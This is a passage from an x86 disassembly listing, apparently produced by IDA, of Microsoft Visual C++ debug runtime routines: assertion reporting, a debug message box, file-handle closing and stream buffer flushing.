		cmp	dword ptr [ebp+8], 3
		jl	short loc_424C97


loc_424C90:				; CODE XREF: .XComp0:00424C88j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_424CFA
; ---------------------------------------------------------------------------


loc_424C97:				; CODE XREF: .XComp0:00424C8Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_424CA9
		mov	eax, [ebp+8]
		mov	eax, dword_4501D8[eax*4]
		jmp	short loc_424CFA
; ---------------------------------------------------------------------------


loc_424CA9:				; CODE XREF: .XComp0:00424C9Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_4501D8[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_424CD0
		push	0FFFFFFF5h
		call	near ptr 2960BBFh
		nop
		mov	ecx, [ebp+8]
		mov	dword_4501D8[ecx*4], eax
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CD0:				; CODE XREF: .XComp0:00424CBAj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short loc_424CEA
		push	0FFFFFFF4h
		nop
		call	near ptr 2960BBFh
		mov	edx, [ebp+8]
		mov	dword_4501D8[edx*4], eax
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CEA:				; CODE XREF: .XComp0:00424CD4j
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	dword_4501D8[eax*4], ecx


loc_424CF7:				; CODE XREF: .XComp0:00424CCEj
					; .XComp0:00424CE8j
		mov	eax, [ebp-4]


loc_424CFA:				; CODE XREF: .XComp0:00424C95j
					; .XComp0:00424CA7j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E98F0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4E98F0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D20	proc near		; CODE XREF: sub_41EC50+24p
					; sub_41ECE0+2Cp ...

var_302C	= dword	ptr -302Ch
var_3028	= dword	ptr -3028h
var_3024	= byte ptr -3024h
var_3010	= byte ptr -3010h
var_300C	= dword	ptr -300Ch
var_3008	= byte ptr -3008h
var_3007	= byte ptr -3007h
var_2008	= byte ptr -2008h
var_2007	= byte ptr -2007h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_421EE0
		push	edi
		mov	[ebp+var_3008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_3007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_2007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_1000],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+arg_14]
		mov	[ebp+var_1004],	eax
		cmp	[ebp+arg_0], 0
		jl	short loc_424D8E
		cmp	[ebp+arg_0], 3
		jl	short loc_424D96


loc_424D8E:				; CODE XREF: sub_424D20+66j
		or	eax, 0FFFFFFFFh
		jmp	loc_4250AB
; ---------------------------------------------------------------------------


loc_424D96:				; CODE XREF: sub_424D20+6Cj
		cmp	[ebp+arg_0], 2
		jnz	loc_424E40
		push	offset dword_4501C8
		nop
		call	near ptr 2950B3Fh
		test	eax, eax
		jle	loc_424E40
		cmp	dword_4E9254, 0
		jnz	short loc_424DFE
		push	offset aUser32_dll_0 ; "user32.dll"
		nop
		call	near ptr 27F0000h
		mov	[ebp+var_300C],	eax
		cmp	[ebp+var_300C],	0
		jz	short loc_424DF6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_300C]
		push	ecx
		nop
		call	near ptr 27F0281h
		mov	dword_4E9254, eax
		cmp	dword_4E9254, 0
		jnz	short loc_424DFE


loc_424DF6:				; CODE XREF: sub_424D20+B4j
		or	eax, 0FFFFFFFFh
		jmp	loc_4250AB
; ---------------------------------------------------------------------------


loc_424DFE:				; CODE XREF: sub_424D20+9Aj
					; sub_424D20+D4j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	dword_4E9254	; wsprintfA
		add	esp, 10h
		lea	edx, [ebp+var_2008]
		push	edx
		nop
		call	near ptr 2970000h
		push	offset dword_4501C8
		call	near ptr 2950A89h
		nop
		call	sub_424C10
		or	eax, 0FFFFFFFFh
		jmp	loc_4250AB
; ---------------------------------------------------------------------------


loc_424E40:				; CODE XREF: sub_424D20+7Aj
					; sub_424D20+8Dj
		cmp	[ebp+arg_10], 0


loc_424E44:				; DATA XREF: .XComp0:004531A4o
		jz	short loc_424E7D
		mov	eax, [ebp+var_1004]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	0FEDh
		lea	edx, [ebp+var_1000]
		push	edx
		call	sub_422920
		add	esp, 10h
		test	eax, eax
		jge	short loc_424E7D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_422580
		add	esp, 8


loc_424E7D:				; CODE XREF: sub_424D20:loc_424E44j
					; sub_424D20+147j
		cmp	[ebp+arg_0], 2
		jnz	short loc_424EB5
		cmp	[ebp+arg_10], 0
		jz	short loc_424E95
		mov	[ebp+var_3028],	offset aAssertionFaile ; "Assertion failed: "
		jmp	short loc_424E9F
; ---------------------------------------------------------------------------


loc_424E95:				; CODE XREF: sub_424D20+167j
		mov	[ebp+var_3028],	offset aAssertionFai_0 ; "Assertion failed!"


loc_424E9F:				; CODE XREF: sub_424D20+173j
		mov	ecx, [ebp+var_3028]
		push	ecx
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_422580
		add	esp, 8


loc_424EB5:				; CODE XREF: sub_424D20+161j
		lea	eax, [ebp+var_1000]
		push	eax
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_422590
		add	esp, 8
		cmp	[ebp+arg_0], 2
		jnz	short loc_424F0A
		mov	edx, [ebp+arg_0]
		mov	eax, dword_4501CC[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_424EF6
		push	offset asc_43EDB0 ; "\r"
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_422590
		add	esp, 8


loc_424EF6:				; CODE XREF: sub_424D20+1C0j
		push	offset asc_43EDAC ; "\n"
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_422590
		add	esp, 8


loc_424F0A:				; CODE XREF: sub_424D20+1AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_424F52
		lea	eax, [ebp+var_3008]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_421B90
		add	esp, 18h
		test	eax, eax
		jge	short loc_424F50
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	sub_422580
		add	esp, 8


loc_424F50:				; CODE XREF: sub_424D20+21Aj
		jmp	short loc_424F68
; ---------------------------------------------------------------------------


loc_424F52:				; CODE XREF: sub_424D20+1EEj
		lea	edx, [ebp+var_3008]
		push	edx
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_422580
		add	esp, 8


loc_424F68:				; CODE XREF: sub_424D20:loc_424F50j
		cmp	dword_4E98F0, 0
		jz	short loc_424FAC
		lea	ecx, [ebp+var_1008]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E98F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424FAC
		cmp	[ebp+arg_0], 2
		jnz	short loc_424FA1
		push	offset dword_4501C8
		nop
		call	near ptr 2950A89h


loc_424FA1:				; CODE XREF: sub_424D20+274j
		mov	eax, [ebp+var_1008]
		jmp	loc_4250AB
; ---------------------------------------------------------------------------


loc_424FAC:				; CODE XREF: sub_424D20+24Fj
					; sub_424D20+26Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4501CC[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_424FFB
		mov	eax, [ebp+arg_0]
		cmp	dword_4501D8[eax*4], 0FFFFFFFFh
		jz	short loc_424FFB
		push	0
		lea	ecx, [ebp+var_3010]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4501D8[ecx*4]
		push	edx
		call	near ptr 28407DDh
		nop


loc_424FFB:				; CODE XREF: sub_424D20+29Bj
					; sub_424D20+2A8j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4501CC[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_425019
		lea	edx, [ebp+var_2008]
		push	edx
		call	near ptr 2970000h
		nop


loc_425019:				; CODE XREF: sub_424D20+2EAj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4501CC[eax*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_425098
		cmp	[ebp+arg_8], 0
		jz	short loc_42504D
		push	0Ah
		lea	edx, [ebp+var_3024]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_432880
		add	esp, 0Ch
		mov	[ebp+var_302C],	eax
		jmp	short loc_425057
; ---------------------------------------------------------------------------


loc_42504D:				; CODE XREF: sub_424D20+30Ej
		mov	[ebp+var_302C],	0


loc_425057:				; CODE XREF: sub_424D20+32Bj
		lea	ecx, [ebp+var_1000]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_302C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4250B0
		add	esp, 14h
		mov	[ebp+var_1008],	eax
		cmp	[ebp+arg_0], 2
		jnz	short loc_425090
		push	offset dword_4501C8
		nop
		call	near ptr 2950A89h


loc_425090:				; CODE XREF: sub_424D20+363j
		mov	eax, [ebp+var_1008]
		jmp	short loc_4250AB
; ---------------------------------------------------------------------------


loc_425098:				; CODE XREF: sub_424D20+308j
		cmp	[ebp+arg_0], 2
		jnz	short loc_4250A9
		push	offset dword_4501C8
		call	near ptr 2950A89h
		nop


loc_4250A9:				; CODE XREF: sub_424D20+37Cj
		xor	eax, eax


loc_4250AB:				; CODE XREF: sub_424D20+71j
					; sub_424D20+D9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_424D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B0	proc near		; CODE XREF: sub_424D20+351p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_421EE0


loc_4250BD:				; CODE XREF: sub_4250B0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_4250E8
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4250E8
		call	sub_424C10


loc_4250E8:				; CODE XREF: sub_4250B0+11j
					; sub_4250B0+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4250BD
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	short loc_42511A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_422580
		add	esp, 8


loc_42511A:				; CODE XREF: sub_4250B0+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_42515D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_42515D:				; CODE XREF: sub_4250B0+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_4251B8
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_41EBD0
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_4251B8
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_4251B8:				; CODE XREF: sub_4250B0+BDj
					; sub_4250B0+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_4251CA
		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_4251D4
; ---------------------------------------------------------------------------


loc_4251CA:				; CODE XREF: sub_4250B0+10Cj
		mov	[ebp+var_1114],	offset dword_43EEFC


loc_4251D4:				; CODE XREF: sub_4250B0+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_4251E9
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_4251F3
; ---------------------------------------------------------------------------


loc_4251E9:				; CODE XREF: sub_4250B0+12Cj
		mov	[ebp+var_1118],	offset dword_43EEFC


loc_4251F3:				; CODE XREF: sub_4250B0+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42520F
		cmp	[ebp+arg_0], 2
		jnz	short loc_42520F
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_425219
; ---------------------------------------------------------------------------


loc_42520F:				; CODE XREF: sub_4250B0+14Bj
					; sub_4250B0+151j
		mov	[ebp+var_111C],	offset dword_43EEFC


loc_425219:				; CODE XREF: sub_4250B0+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42522F
		mov	[ebp+var_1120],	offset asc_43EEE8 ; "\n\n"
		jmp	short loc_425239
; ---------------------------------------------------------------------------


loc_42522F:				; CODE XREF: sub_4250B0+171j
		mov	[ebp+var_1120],	offset dword_43EEFC


loc_425239:				; CODE XREF: sub_4250B0+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_42524A
		mov	edx, [ebp+arg_8]


loc_425242:				; DATA XREF: .XComp0:00452CE4o
					; .XComp0:004531ECo
		mov	[ebp+var_1124],	edx
		jmp	short loc_425254
; ---------------------------------------------------------------------------


loc_42524A:				; CODE XREF: sub_4250B0+18Dj
		mov	[ebp+var_1124],	offset dword_43EEFC


loc_425254:				; CODE XREF: sub_4250B0+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_425266
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_425270
; ---------------------------------------------------------------------------


loc_425266:				; CODE XREF: sub_4250B0+1A8j
		mov	[ebp+var_1128],	offset dword_43EEFC


loc_425270:				; CODE XREF: sub_4250B0+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_425281
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_42528B
; ---------------------------------------------------------------------------


loc_425281:				; CODE XREF: sub_4250B0+1C4j
		mov	[ebp+var_112C],	offset dword_43EEFC


loc_42528B:				; CODE XREF: sub_4250B0+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_42529D
		mov	[ebp+var_1130],	offset aFile ; "\nFile:	"
		jmp	short loc_4252A7
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4250B0+1DFj
		mov	[ebp+var_1130],	offset dword_43EEFC


loc_4252A7:				; CODE XREF: sub_4250B0+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_4252BE
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
		jmp	short loc_4252C8
; ---------------------------------------------------------------------------


loc_4252BE:				; CODE XREF: sub_4250B0+1FEj
		mov	[ebp+var_1134],	offset dword_43EEFC


loc_4252C8:				; CODE XREF: sub_4250B0+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_4252DD
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_4252E7
; ---------------------------------------------------------------------------


loc_4252DD:				; CODE XREF: sub_4250B0+21Fj
		mov	[ebp+var_1138],	offset dword_43EEFC


loc_4252E7:				; CODE XREF: sub_4250B0+22Bj
		mov	edx, [ebp+var_1114]
		push	edx
		mov	eax, [ebp+var_1118]
		push	eax
		mov	ecx, [ebp+var_111C]
		push	ecx
		mov	edx, [ebp+var_1120]
		push	edx
		mov	eax, [ebp+var_1124]
		push	eax
		mov	ecx, [ebp+var_1128]
		push	ecx
		mov	edx, [ebp+var_112C]
		push	edx
		mov	eax, [ebp+var_1130]
		push	eax
		mov	ecx, [ebp+var_1134]
		push	ecx
		mov	edx, [ebp+var_1138]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4501E4[ecx*4]
		push	edx
		push	offset aDebugSProgramS ; "Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...


loc_425341:				; DATA XREF: .XComp0:00453264o
		push	1000h
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_421B90
		add	esp, 3Ch
		test	eax, eax
		jge	short loc_42536D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_110C]
		push	ecx
		call	sub_422580
		add	esp, 8


loc_42536D:				; CODE XREF: sub_4250B0+2A7j
		push	12012h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
		lea	edx, [ebp+var_110C]
		push	edx
		call	sub_433100
		add	esp, 0Ch
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 3
		jnz	short loc_4253A6
		push	16h
		call	sub_432E40
		add	esp, 4
		push	3
		call	sub_421820


loc_4253A6:				; CODE XREF: sub_4250B0+2E3j
		cmp	[ebp+var_10C], 4
		jnz	short loc_4253B6
		mov	eax, 1
		jmp	short loc_4253B8
; ---------------------------------------------------------------------------


loc_4253B6:				; CODE XREF: sub_4250B0+2FDj
		xor	eax, eax


loc_4253B8:				; CODE XREF: sub_4250B0+304j
		mov	esp, ebp
		pop	ebp
		retn
sub_4250B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253C0	proc near		; CODE XREF: sub_41ECE0+71p
					; sub_433B40+400p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_4253F1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42540C


loc_4253F1:				; CODE XREF: sub_4253C0+Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_425436
; ---------------------------------------------------------------------------


loc_42540C:				; CODE XREF: sub_4253C0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425440
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_425436:				; CODE XREF: sub_4253C0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425440	proc near		; CODE XREF: sub_4253C0+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433550


loc_42544E:				; DATA XREF: .XComp0:00453254o
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425493
		cmp	[ebp+arg_0], 1
		jz	short loc_425462
		cmp	[ebp+arg_0], 2
		jnz	short loc_42547C


loc_425462:				; CODE XREF: sub_425440+1Aj
		push	1
		call	sub_433550
		add	esp, 4
		mov	esi, eax
		push	2
		call	sub_433550
		add	esp, 4
		cmp	esi, eax
		jz	short loc_425493


loc_42547C:				; CODE XREF: sub_425440+20j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433550
		add	esp, 4
		push	eax
		call	near ptr 2790578h
		nop
		test	eax, eax
		jz	short loc_42549C


loc_425493:				; CODE XREF: sub_425440+14j
					; sub_425440+3Aj
		mov	[ebp+var_4], 0
		jmp	short loc_4254A5
; ---------------------------------------------------------------------------


loc_42549C:				; CODE XREF: sub_425440+51j
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_4], eax


loc_4254A5:				; CODE XREF: sub_425440+5Aj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_433470
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	byte ptr [edx+ecx+4], 0
		cmp	[ebp+var_4], 0
		jz	short loc_4254E3
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4254E5
; ---------------------------------------------------------------------------


loc_4254E3:				; CODE XREF: sub_425440+90j
		xor	eax, eax


loc_4254E5:				; CODE XREF: sub_425440+A1j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_425440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254F0	proc near		; CODE XREF: sub_41ECE0+62p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi


loc_4254F6:				; CODE XREF: sub_4254F0+2Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_42551A
		push	offset dword_43E494
		push	0
		push	30h
		push	offset a_freebuf_c ; "_freebuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42551A
		int	3		; Trap to Debugger


loc_42551A:				; CODE XREF: sub_4254F0+Aj
					; sub_4254F0+27j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4254F6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 83h
		test	edx, edx
		jz	short loc_42557D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42557D
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41F970
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFBF7h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0


loc_42557D:				; CODE XREF: sub_4254F0+3Ej
					; sub_4254F0+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4254F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4255A6
		push	0
		call	sub_425700
		add	esp, 4
		jmp	short loc_4255D0
; ---------------------------------------------------------------------------


loc_4255A6:				; CODE XREF: .XComp0:00425598j
		mov	eax, [ebp+8]
		push	eax
		call	sub_424B30
		add	esp, 4
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4255E0
		add	esp, 4
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp-4]


loc_4255D0:				; CODE XREF: .XComp0:004255A4j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4255E0	proc near		; CODE XREF: .XComp0:004255B6p
					; sub_425700+B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425630
		add	esp, 4
		test	eax, eax
		jz	short loc_4255F8
		or	eax, 0FFFFFFFFh
		jmp	short loc_42561F
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4255E0+11j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_42561D
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_433790
		add	esp, 4
		neg	eax
		sbb	eax, eax
		jmp	short loc_42561F
; ---------------------------------------------------------------------------


loc_42561D:				; CODE XREF: sub_4255E0+26j
		xor	eax, eax


loc_42561F:				; CODE XREF: sub_4255E0+16j
					; sub_4255E0+3Bj
		pop	ebp
		retn
sub_4255E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425630	proc near		; CODE XREF: sub_41ECE0+53p
					; sub_423D50+A2p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 3
		cmp	edx, 2
		jnz	short loc_4256CB
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 108h
		test	ecx, ecx
		jz	short loc_4256CB
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 0
		jle	short loc_4256CB
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		push	eax
		call	sub_430550
		add	esp, 0Ch
		cmp	eax, [ebp+var_C]
		jnz	short loc_4256B5
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_4256B3
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx


loc_4256B3:				; CODE XREF: sub_425630+72j
		jmp	short loc_4256CB
; ---------------------------------------------------------------------------


loc_4256B5:				; CODE XREF: sub_425630+62j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4256CB:				; CODE XREF: sub_425630+1Fj
					; sub_425630+2Fj ...
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_425630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


